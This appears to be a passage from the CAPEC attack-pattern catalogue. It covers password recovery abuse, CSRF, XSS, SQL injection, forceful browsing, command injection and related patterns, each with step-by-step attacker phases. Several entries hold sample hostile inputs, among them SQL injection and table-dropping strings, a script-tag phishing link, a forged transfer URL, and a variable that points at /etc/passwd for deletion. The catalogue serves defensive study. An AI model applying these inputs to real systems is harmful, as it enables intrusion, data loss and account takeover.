Password Recovery Exploitation Standard An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure. Most of them use only one security question. For instance, mother's maiden name tends to be a fairly popular one. Unfortunately in many cases this information is not very hard to find, especially if the attacker knows the legitimate user. These generic security questions are also re-used across many applications, thus making them even more insecure. An attacker could for instance overhear a coworker talking to a bank representative at the work place and supplying their mother's maiden name for verification purposes. An attacker can then try to log in into one of the victim's accounts, click on "forgot password" and there is a good chance that the security question there will be to provide mother's maiden name. A weak password recovery scheme totally undermines the effectiveness of a strong password scheme. 2014-06-23 02:00:00 Capec: CAPEC-50
Cwe: CWE-522
Cwe: CWE-640
Reference_from_capec: REF-429
2022-09-29 02:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
  1. An attacker clicks on the "forgot password" and is presented with a single security question. The question is regarding the name of the first dog of the user. The system does not limit the number of attempts to provide the dog's name. An attacker goes through a list of 100 most popular dog names and finds the right name, thus getting the ability to reset the password and access the system.
  2. phpBanner Exchange is a PHP script (using the mySQL database) that facilitates the running of a banner exchange without extensive knowledge of PHP or mySQL. A SQL injection was discovered in the password recovery module of the system that allows recovering an arbitrary user's password and taking over their account. The problem is due to faulty input sanitization in the phpBannerExchange, specifically the e-mail address of the user which is requested by the password recovery module. The e-mail address requested by the password recovery module on the resetpw.php page. That e-mail address is validated with the following regular expression: if(!eregi("^[_a-z0-9-]+(\\.[_a-z0-9-]+)@[a-z0-9-]+(\\.[a-z0-9-]+)(\\.[a-z]{2,3})$", $email)){ A bug in the implementation of eregi() allows to pass additional character using a null byte "\0". Since eregi() is implemented in C, the variable $email is treated as a zero-terminated string. All characters following the Null Byte will not be recognized by the regular expression. So an e-mail address can be provided that includes the special character " ' " to break the SQL query below (and it will not be rejected by the regular expression because of the null byte trick). So a SQL injection becomes possible: $get_info=mysql_query("select from banneruser whereemail='$email' "); This query will return a non-zero result set even though the email supplied (attacker's email) is not in the database. Then a new password for the user is generated and sent to the $email address, an e-mail address controlled by the attacker. An attacker can then log in into the system.See also: CVE-2006-3013

Explore

  1. Understand the password recovery mechanism and how it works.

Exploit

  1. Find a weakness in the password recovery mechanism and exploit it. For instance, a weakness may be that a standard single security question is used with an easy to determine answer.
Medium
  • The system allows users to recover their passwords and gain access back into the system.
  • Password recovery mechanism has been designed or implemented insecurely.
  • Password recovery mechanism relies only on something the user knows and not something the user has.
  • No third party intervention is required to use the password recovery mechanism.
  • For a brute force attack one would need a machine with sufficient CPU, RAM and HD.
Low: Brute force attack Medium: Social engineering and more sophisticated technical attacks. Draft High 3.9
212
Query System for Information Standard An adversary, aware of an application's location (and possibly authorized to use the application), probes an application's structure and evaluates its robustness by submitting requests and examining responses. Often, this is accomplished by sending variants of expected queries in the hope that these modified queries might return information beyond what the expected set of queries would provide. 2014-06-23 02:00:00 Capec: CAPEC-54
Cwe: CWE-209
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data
Software
  1. Blind SQL injection is an example of this technique, applied to successful exploit. See also: CVE-2006-4705
  2. Attacker sends bad data at various servlets in a J2EE system, records returned exception stack traces, and maps application functionality. In addition, this technique allows attackers to correlate those servlets used with the underlying open source packages (and potentially version numbers) that provide them.

Explore

  1. Determine parameters: Determine all user-controllable parameters of the application either by probing or by finding documentation

Experiment

  1. Cause error condition: Inject each parameter with content that causes an error condition to manifest
  2. Modify parameters: Modify the content of each parameter according to observed error conditions

Exploit

  1. Follow up attack: Once the above steps have been repeated with enough parameters, the application will be sufficiently mapped out. The adversary can then launch a desired attack (for example, Blind SQL Injection)
High
  • This class of attacks does not strictly require authorized access to the application. As Attackers use this attack process to classify, map, and identify vulnerable aspects of an application, it simply requires hypotheses to be verified, interaction with the application, and time to conduct trial-and-error activities.
  • The Attacker needs the ability to probe application functionality and provide it erroneous directives or data without triggering intrusion detection schemes or making enough of an impact on application logging that steps are taken against the adversary. The Attack does not need special hardware, software, skills, or access.
Medium: Although fuzzing parameters is not difficult, and often possible with automated fuzzers, interpreting the error conditions and modifying the parameters so as to move further in the process of mapping the application requires detailed knowledge of target platform, the languages and packages used as well as software design. Draft Low 3.9
116
DEPRECATED: Removing/short-circuiting 'guard logic' Standard This attack pattern has been deprecated as it is a duplicate of CAPEC-207 : Removing Important Client Functionality. Please refer to this other pattern going forward. 2014-06-23 02:00:00 Capec: CAPEC-56
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
Cross Site Request Forgery Standard An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie. 2014-06-23 02:00:00 Capec: CAPEC-62
Cwe: CWE-352
Cwe: CWE-306
Cwe: CWE-664
Cwe: CWE-732
Cwe: CWE-1275
Wasc: 09
Owasp Attacks: Cross Site Request Forgery (CSRF)
Reference_from_capec: REF-62
Reference_from_capec: REF-602
2021-06-24 02:00:00 2.1
  • Session Riding
Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. While a user is logged into their bank account, an attacker can send an email with some potentially interesting content and require the user to click on a link in the email. The link points to or contains an attacker setup script, probably even within an iFrame, that mimics an actual user form submission to perform a malicious activity, such as transferring funds from the victim's account. The attacker can have the script embedded in, or targeted by, the link perform any arbitrary action as the authenticated user. When this script is executed, the targeted application authenticates and accepts the actions based on the victims existing session cookie.See also: Cross-site request forgery (CSRF) vulnerability in util.pl in @Mail WebMail 4.51 allows remote attackers to modify arbitrary settings and perform unauthorized actions as an arbitrary user, as demonstrated using a settings action in the SRC attribute of an IMG element in an HTML e-mail.

Explore

  1. Explore target website: The attacker first explores the target website to determine pieces of functionality that are of interest to them (e.g. money transfers). The attacker will need a legitimate user account on the target website. It would help to have two accounts.
  2. Techniques
    Use web application debugging tool such as WebScarab, Tamper Data or TamperIE to analyze the information exchanged between the client and the server
    Use network sniffing tool such as Wireshark to analyze the information exchanged between the client and the server
    View HTML source of web pages that contain links or buttons that perform actions of interest.

Experiment

  1. Create a link that when clicked on, will execute the interesting functionality.: The attacker needs to create a link that will execute some interesting functionality such as transfer money, change a password, etc.
  2. Techniques
    Create a GET request containing all required parameters (e.g. https://www.somebank.com/members/transfer.asp?to=012345678901&amt=10000)
    Create a form that will submit a POST request (e.g.

Exploit

  1. Convince user to click on link: Finally, the attacker needs to convince a user that is logged into the target website to click on a link to execute the CSRF attack.
  2. Techniques
    Execute a phishing attack and send the user an e-mail convincing them to click on a link.
    Execute a stored XSS attack on a website to permanently embed the malicious link into the website.
    Execute a stored XSS attack on a website where an XMLHTTPRequest object will automatically execute the attack as soon as a user visits the page. This removes the step of convincing a user to click on a link.
    Include the malicious link on the attackers' own website where the user may have to click on the link, or where an XMLHTTPRequest object may automatically execute the attack when a user visits the site.
High
  • All the attacker needs is the exact representation of requests to be made to the application and to be able to get the malicious link across to a victim.
Medium: The attacker needs to figure out the exact invocation of the targeted malicious action and then craft a link that performs the said action. Having the user click on such a link is often accomplished by sending an email or posting such a link to a bulletin board or the likes. Draft Very High 3.9
467
21
Cross-Site Scripting (XSS) Standard An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect. 2014-06-23 02:00:00 Capec: CAPEC-63
Cwe: CWE-79
Cwe: CWE-20
Wasc: 08
Owasp Attacks: Cross Site Scripting (XSS)
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Modify Data
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
Software
  1. Classic phishing attacks lure users to click on content that appears trustworthy, such as logos, and links that seem to go to their trusted financial institutions and online auction sites. But instead the attacker appends malicious scripts into the otherwise innocent appearing resources. The HTML source for a standard phishing attack looks like this: [Trusted Site](www.exampletrustedsite.com?Name=<script>maliciousscript</script>) When the user clicks the link, the appended script also executes on the local user's machine.

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for XSS vulnerability: The attacker uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.
  2. Techniques
    Use a list of XSS probe strings to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.
    Use a list of XSS probe strings to inject script into UI entry fields. If possible, the probe strings contain a unique identifier.
    Use a list of XSS probe strings to inject script into resources accessed by the application. If possible, the probe strings contain a unique identifier.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.
  2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.
  3. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).
  4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).
  5. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website.
  6. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.
High
  • Target client software must be a client that allows scripting communication from remote hosts, such as a JavaScript-enabled Web Browser.
  • Ability to deploy a custom hostile service for access by targeted clients. Ability to communicate synchronously or asynchronously with client machine.
Low: To achieve a redirection and use of less trusted source, an attacker can simply place a script in bulletin board, blog, wiki, or other user-generated content site that are echoed back to other client machines. High: Exploiting a client side vulnerability to inject malicious scripts into the browser's executable process. Draft Very High 3.9
242
SQL Injection Standard This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to interact directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. 2014-06-23 02:00:00 Capec: CAPEC-66
Cwe: CWE-89
Cwe: CWE-1286
Wasc: 19
Owasp Attacks: SQL Injection
Reference_from_capec: REF-607
2022-02-22 01:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Software
  1. With PHP-Nuke versions 7.9 and earlier, an attacker can successfully access and modify data, including sensitive contents such as usernames and password hashes, and compromise the application through SQL Injection. The protection mechanism against SQL Injection employs a denylist approach to input validation. However, because of an improper denylist, it is possible to inject content such as "foo'//UNION" or "foo UNION//" to bypass validation and glean sensitive information from the database. See also: CVE-2006-5525

Explore

  1. Survey application: The attacker first takes an inventory of the functionality exposed by the application.
  2. Techniques
    Spider web sites for all available links
    Sniff network communications with application using a utility such as WireShark.

Experiment

  1. Determine user-controllable input susceptible to injection: Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to SQL injection, attempt to inject characters that have special meaning in SQL (such as a single quote character, a double quote character, two hyphens, a parenthesis, etc.). The goal is to create a SQL query with an invalid syntax.
  2. Techniques
    Use web browser to inject input through text fields or through HTTP GET parameters.
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.
    Use network-level packet injection tools such as netcat to inject input
    Use modified client (modified by reverse engineering) to inject input.
  3. Experiment with SQL Injection vulnerabilities: After determining that a given input is vulnerable to SQL Injection, hypothesize what the underlying query looks like. Iteratively try to add logic to the query to extract information from the database, or to modify or delete information in the database.
  4. Techniques
    Use public resources such as "SQL Injection Cheat Sheet" at http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/, and try different approaches for adding logic to SQL queries.
    Add logic to query, and use detailed error messages from the server to debug the query. For example, if adding a single quote to a query causes an error message, try : "' OR 1=1; --", or something else that would syntactically complete a hypothesized query. Iteratively refine the query.
    Use "Blind SQL Injection" techniques to extract information about the database schema.
    If a denial of service attack is the goal, try stacking queries. This does not work on all platforms (most notably, it does not work on Oracle or MySQL). Examples of inputs to try include: "'; DROP TABLE SYSOBJECTS; --" and "'); DROP TABLE SYSOBJECTS; --". These particular queries will likely not work because the SYSOBJECTS table is generally protected.

Exploit

  1. Exploit SQL Injection vulnerability: After refining and adding various logic to SQL queries, craft and execute the underlying SQL query that will be used to attack the target system. The goal is to reveal, modify, and/or delete database data, using the knowledge obtained in the previous step. This could entail crafting and executing multiple SQL queries if a denial of service attack is the intent.
  2. Techniques
    Craft and Execute underlying SQL query
High
  • SQL queries used by the application to store, retrieve or modify data.
  • User-controllable input that is not properly validated by the application as part of SQL queries.
  • None: No specialized resources are required to execute this type of attack.
Low: It is fairly simple for someone with basic SQL knowledge to perform SQL injection, in general. In certain instances, however, specific knowledge of the database employed may be required. Draft High 3.9
248
Subvert Code-signing Facilities Standard Many languages use code signing facilities to vouch for code's identity and to thus tie code to its assigned privileges within an environment. Subverting this mechanism can be instrumental in an attacker escalating privilege. Any means of subverting the way that a virtual machine enforces code signing classifies for this style of attack. 2014-06-23 02:00:00 Capec: CAPEC-68
Cwe: CWE-325
Cwe: CWE-328
Cwe: CWE-1326
Attack: T1553.002
2022-09-29 02:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
Hardware
  1. In old versions (prior to 3.0b4) of the Netscape web browser Attackers able to foist a malicious Applet into a client's browser could execute the "Magic Coat" attack. In this attack, the offending Applet would implement its own getSigners() method. This implementation would use the containing VM's APIs to acquire other Applet's signatures (by calling _their_ getSigners() method) and if any running Applet had privileged-enough signature, the malicious Applet would have inherited that privilege just be (metaphorically) donning the others' coats.
  2. Some (older) web browsers allowed scripting languages, such as JavaScript, to call signed Java code. In these circumstances, the browser's VM implementation would choose not to conduct stack inspection across language boundaries (from called signed Java to calling JavaScript) and would short-circuit "true" at the language boundary. Doing so meant that the VM would allow any (unprivileged) script to call privileged functions within signed code with impunity, causing them to fall prey to luring attacks.
  3. The ability to load unsigned code into the kernel of earlier versions of Vista and bypass integrity checking is an example of such subversion. In the proof- of-concept, it is possible to bypass the signature-checking mechanism Vista uses to load device drivers.
None Low
  • A framework-based language that supports code signing (such as, and most commonly, Java or .NET)
  • Deployed code that has been signed by its authoring vendor, or a partner.
  • The attacker will, for most circumstances, also need to be able to place code in the victim container. This does not necessarily mean that they will have to subvert host-level security, except when explicitly indicated.
  • The Attacker needs no special resources beyond the listed prerequisites in order to conduct this style of attack.
High: Subverting code signing is not a trivial activity. Most code signing and verification schemes are based on use of cryptography and the attacker needs to have an understanding of these cryptographic operations in good detail. Additionally the attacker also needs to be aware of the way memory is assigned and accessed by the container since, often, the only way to subvert code signing would be to patch the code in memory. Finally, a knowledge of the platform specific mechanisms of signing and verifying code is a must. Draft Very High 3.9
233
Target Programs with Elevated Privileges Standard This attack targets programs running with elevated privileges. The adversary tries to leverage a vulnerability in the running program and get arbitrary code to execute with elevated privileges. 2014-06-23 02:00:00 Capec: CAPEC-69
Cwe: CWE-250
Cwe: CWE-15
Reference_from_capec: REF-1
2021-10-21 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Resource Consumption (Denial of Service)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Software

Explore

  1. Find programs with elevated priveleges: The adversary probes for programs running with elevated privileges.
  2. Techniques
    Look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break.
  3. Find vulnerability in running program: The adversary looks for a vulnerability in the running program that would allow for arbitrary code execution with the privilege of the running program.
  4. Techniques
    Look for improper input validation
    Look for improper failure safety. For instance when a program fails it may authorize restricted access to anyone.
    Look for a buffer overflow which may be exploited if an adversary can inject unvalidated data.

Exploit

  1. Execute arbitrary code: The adversary exploits the vulnerability that they have found. For instance, they can try to inject and execute arbitrary code or write to OS resources.
High
  • The targeted program runs with elevated OS privileges.
  • The targeted program accepts input data from the user or from another program.
  • The targeted program is giving away information about itself. Before performing such attack, an eventual attacker may need to gather information about the services running on the host target. The more the host target is verbose about the services that are running (version number of application, etc.) the more information can be gather by an attacker.
  • This attack often requires communicating with the host target services directly. For instance Telnet may be enough to communicate with the host target.
Low: An attacker can use a tool to scan and automatically launch an attack against known issues. A tool can also repeat a sequence of instructions and try to brute force the service on the host target, an example of that would be the flooding technique. Medium: More advanced attack may require knowledge of the protocol spoken by the host service. Draft Very High 3.9
233
User-Controlled Filename Standard An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities. 2014-06-23 02:00:00 Capec: CAPEC-73
Cwe: CWE-20
Cwe: CWE-184
Cwe: CWE-96
Cwe: CWE-348
Cwe: CWE-116
Cwe: CWE-350
Cwe: CWE-86
Cwe: CWE-697
Reference_from_capec: REF-1
2017-05-01 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Alter Execution Logic
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
Software
  1. Phishing attacks rely on a user clicking on links on that are supplied to them by attackers masquerading as a trusted resource such as a bank or online auction site. The end user's email client hosts the supplied resource name in this case via email. The resource name, however may either 1) direct the client browser to a malicious site to steal credentials and/or 2) execute code on the client machine to probe the victim's host system and network environment.
None High
  • The victim must trust the name and locale of user controlled filenames.
Low: To achieve a redirection and use of less trusted source, an attacker can simply edit data that the host uses to build the filename High: Exploiting a client side vulnerability to inject malicious scripts into the browser's executable process. Medium: Deploying a malicious "look-a-like" site (such as a site masquerading as a bank or online auction site) that the user enters their authentication data into. Draft High 3.9
165
Manipulating Writeable Configuration Files Standard Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users. 2014-06-23 02:00:00 Capec: CAPEC-75
Cwe: CWE-349
Cwe: CWE-99
Cwe: CWE-77
Cwe: CWE-346
Cwe: CWE-353
Cwe: CWE-354
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
  1. The BEA Weblogic server uses a config.xml file to store configuration data. If this file is not properly protected by the system access control, an attacker can write configuration information to redirect server output through system logs, database connections, malicious URLs and so on. Access to the Weblogic server may be from a so-called Custom realm which manages authentication and authorization privileges on behalf of user principals. Given write access, the attacker can insert a pointer to a custom realm jar file in the config.xml < CustomRealmConfigurationData="java.util.Properties"Name="CustomRealm"RealmClassName="Maliciousrealm.jar"/> The main issue with configuration files is that the attacker can leverage all the same functionality the server has, but for malicious means. Given the complexity of server configuration, these changes may be very hard for administrators to detect.
None High
  • Configuration files must be modifiable by the attacker
Medium: To identify vulnerable configuration files, and understand how to manipulate servers and erase forensic evidence Draft Very High 3.9
176
Manipulating User-Controlled Variables Standard This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables. 2014-06-23 02:00:00 Capec: CAPEC-77
Cwe: CWE-15
Cwe: CWE-94
Cwe: CWE-96
Cwe: CWE-285
Cwe: CWE-302
Cwe: CWE-473
Cwe: CWE-1321
Reference_from_capec: REF-1
Reference_from_capec: REF-520
Reference_from_capec: REF-521
Reference_from_capec: REF-522
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
  • Gain Privileges
Software
  1. PHP is a study in bad security. The main idea pervading PHP is "ease of use," and the mantra "don't make the developer go to any extra work to get stuff done" applies in all cases. This is accomplished in PHP by removing formalism from the language, allowing declaration of variables on first use, initializing everything with preset values, and taking every meaningful variable from a transaction and making it available. In cases of collision with something more technical, the simple almost always dominates in PHP. One consequence of all this is that PHP allows users of a Web application to override environment variables with user-supplied, untrusted query variables. Thus, critical values such as the CWD and the search path can be overwritten and directly controlled by a remote anonymous user. Another similar consequence is that variables can be directly controlled and assigned from the user-controlled values supplied in GET and POST request fields. So seemingly normal code like this, does bizarre things: while($count < 10){// Do something$count++;} Normally, this loop will execute its body ten times. The first iteration will be an undefined zero, and further trips though the loop will result in an increment of the variable $count. The problem is that the coder does not initialize the variable to zero before entering the loop. This is fine because PHP initializes the variable on declaration. The result is code that seems to function, regardless of badness. The problem is that a user of the Web application can supply a request such as GET /login.php?count=9 and cause $count to start out at the value 9, resulting in only one trip through the loop. Yerg. Depending on the configuration, PHP may accept user-supplied variables in place of environment variables. PHP initializes global variables for all process environment variables, such as $PATH and $HOSTNAME. These variables are of critical importance because they may be used in file or network operations. If an adversary can supply a new $PATH variable (such as PATH='/var'), the program may be exploitable. PHP may also take field tags supplied in GET/POST requests and transform them into global variables. This is the case with the $count variable we explored in our previous example. Consider another example of this problem in which a program defines a variable called $tempfile. An adversary can supply a new temp file such as $tempfile = "/etc/passwd". Then the temp file may get erased later via a call to unlink($tempfile);. Now the passwd file has been erased--a bad thing indeed on most OSs. Also consider that the use of include() and require() first search $PATH, and that using calls to the shell may execute crucial programs such as ls. In this way, ls may be "Trojaned" (the adversary can modify $PATH to cause a Trojan copy of ls to be loaded). This type of attack could also apply to loadable libraries if $LD_LIBRARY_PATH is modified. Finally, some versions of PHP may pass user data to syslog as a format string, thus exposing the application to a format string buffer overflow.See also: File upload allows arbitrary file read by setting hidden form variables to match internal variable names (CVE-2000-0860)

Explore

  1. Probe target application: The adversary first probes the target application to determine important information about the target. This information could include types software used, software versions, what user input the application consumes, and so on.

Experiment

  1. Find user-controlled variables: Using the information found by probing the application, the adversary attempts to manipulate many user-controlled variables and observes the effects on the application. If the adversary notices any significant changes to the application, they will know that a certain variable is useful to the application.
  2. Techniques
    Adversaries will try to alter many common variable names such as "count", "tempFile", "i", etc. The hope is that they can alter the flow of the application without knowing the inner-workings.
    Adversaries will try to alter known environment variables.

Exploit

  1. Manipulate user-controlled variables: Once the adversary has found a user-controller variable(s) that is important to the application, they will manipulate it to change the normal behavior in a way that benefits the adversary.
High
  • A variable consumed by the application server is exposed to the client.
  • A variable consumed by the application server can be overwritten by the user.
  • The application server trusts user supplied data to compute business logic.
  • The application server does not perform proper input validation.
Low: The malicious user can easily try some well-known global variables and find one which matches. Medium: The adversary can use automated tools to probe for variables that they can control. Draft Very High 3.9
22
DEPRECATED: Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS)) Standard This attack pattern has been deprecated as it a generalization of CAPEC-230: XML Nested Payloads, CAPEC-231: XML Oversized Payloads, and CAPEC-147: XML Ping of Death. Please refer to these CAPECs going forward. 2014-06-23 02:00:00 Capec: CAPEC-82
2019-09-30 02:00:00 2.1 None None Deprecated None 3.9
Forceful Browsing Standard An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected. 2014-06-23 02:00:00 Capec: CAPEC-87
Cwe: CWE-425
Cwe: CWE-285
Cwe: CWE-693
Wasc: 34
Owasp Attacks: Forced browsing
2020-12-17 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
Software
  1. A bulletin board application provides an administrative interface at admin.aspx when the user logging in belongs to the administrators group. An attacker can access the admin.aspx interface by making a direct request to the page. Not having access to the interface appropriately protected allows the attacker to perform administrative functions without having to authenticate themself in that role.

Explore

  1. Spider: Using an automated tool, an attacker follows all public links on a web site. They record all the links they find.
  2. Techniques
    Use a spidering tool to follow and record all links.
    Use a proxy tool to record all links visited during a manual traversal of the web application.

Experiment

  1. Attempt well-known or guessable resource locations: Using an automated tool, an attacker requests a variety of well-known URLs that correspond to administrative, debugging, or other useful internal actions. They record all the positive responses from the server.
  2. Techniques
    Use a spidering tool to follow and record attempts on well-known URLs.
    Use a proxy tool to record all links visited during a manual traversal of attempts on well-known URLs.

Exploit

  1. Use unauthorized resources: By visiting the unprotected resource, the attacker makes use of unauthorized functionality.
  2. Techniques
    Access unprotected functions and execute them.
  3. View unauthorized data: The attacker discovers and views unprotected sensitive data.
  4. Techniques
    Direct request of protected pages that directly access database back-ends. (e.g., list.jsp, accounts.jsp, status.jsp, etc.)
High
  • The forcibly browseable pages or accessible resources must be discoverable and improperly protected.
  • None: No specialized resources are required to execute this type of attack. A directory listing is helpful, but not a requirement.
Low: Forcibly browseable pages can be discovered by using a number of automated tools. Doing the same manually is tedious but by no means difficult. Draft High 3.9
115
OS Command Injection Standard In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system. 2014-06-23 02:00:00 Capec: CAPEC-88
Cwe: CWE-78
Cwe: CWE-88
Cwe: CWE-20
Cwe: CWE-697
Wasc: 31
Reference_from_capec: REF-543
2021-06-24 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Gain Privileges
  • Bypass Protection Mechanism
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
  • Read Data
Software
  1. A transaction processing system relies on code written in a number of languages. To access this functionality, the system passes transaction information on the system command line. An attacker can gain access to the system command line and execute malicious commands by injecting these commands in the transaction data. If successful, the attacker can steal information, install backdoors and perform other nefarious activities that can compromise the system and its data.See also: A vulnerability in Mozilla Firefox 1.x browser allows an attacker to execute arbitrary commands on the UNIX/Linux operating system. The vulnerability is caused due to the shell script used to launch Firefox parsing shell commands that are enclosed within back-ticks in the URL provided via the command line. This can be exploited to execute arbitrary shell commands by tricking a user into following a malicious link in an external application which uses Firefox as the default browser (e.g. the mail client Evolution on Red Hat Enterprise Linux 4).

Explore

  1. Identify inputs for OS commands: The attacker determines user controllable input that gets passed as part of a command to the underlying operating system.
  2. Techniques
    Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.
    TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.
    Induce errors to find informative error messages
  3. Survey the Application: The attacker surveys the target application, possibly as a valid and authenticated user
  4. Techniques
    Spidering web sites for all available links
    Inventory all application inputs

Experiment

  1. Vary inputs, looking for malicious results.: Depending on whether the application being exploited is a remote or local one the attacker crafts the appropriate malicious input, containing OS commands, to be passed to the application
  2. Techniques
    Inject command delimiters using network packet injection tools (netcat, nemesis, etc.)
    Inject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.)

Exploit

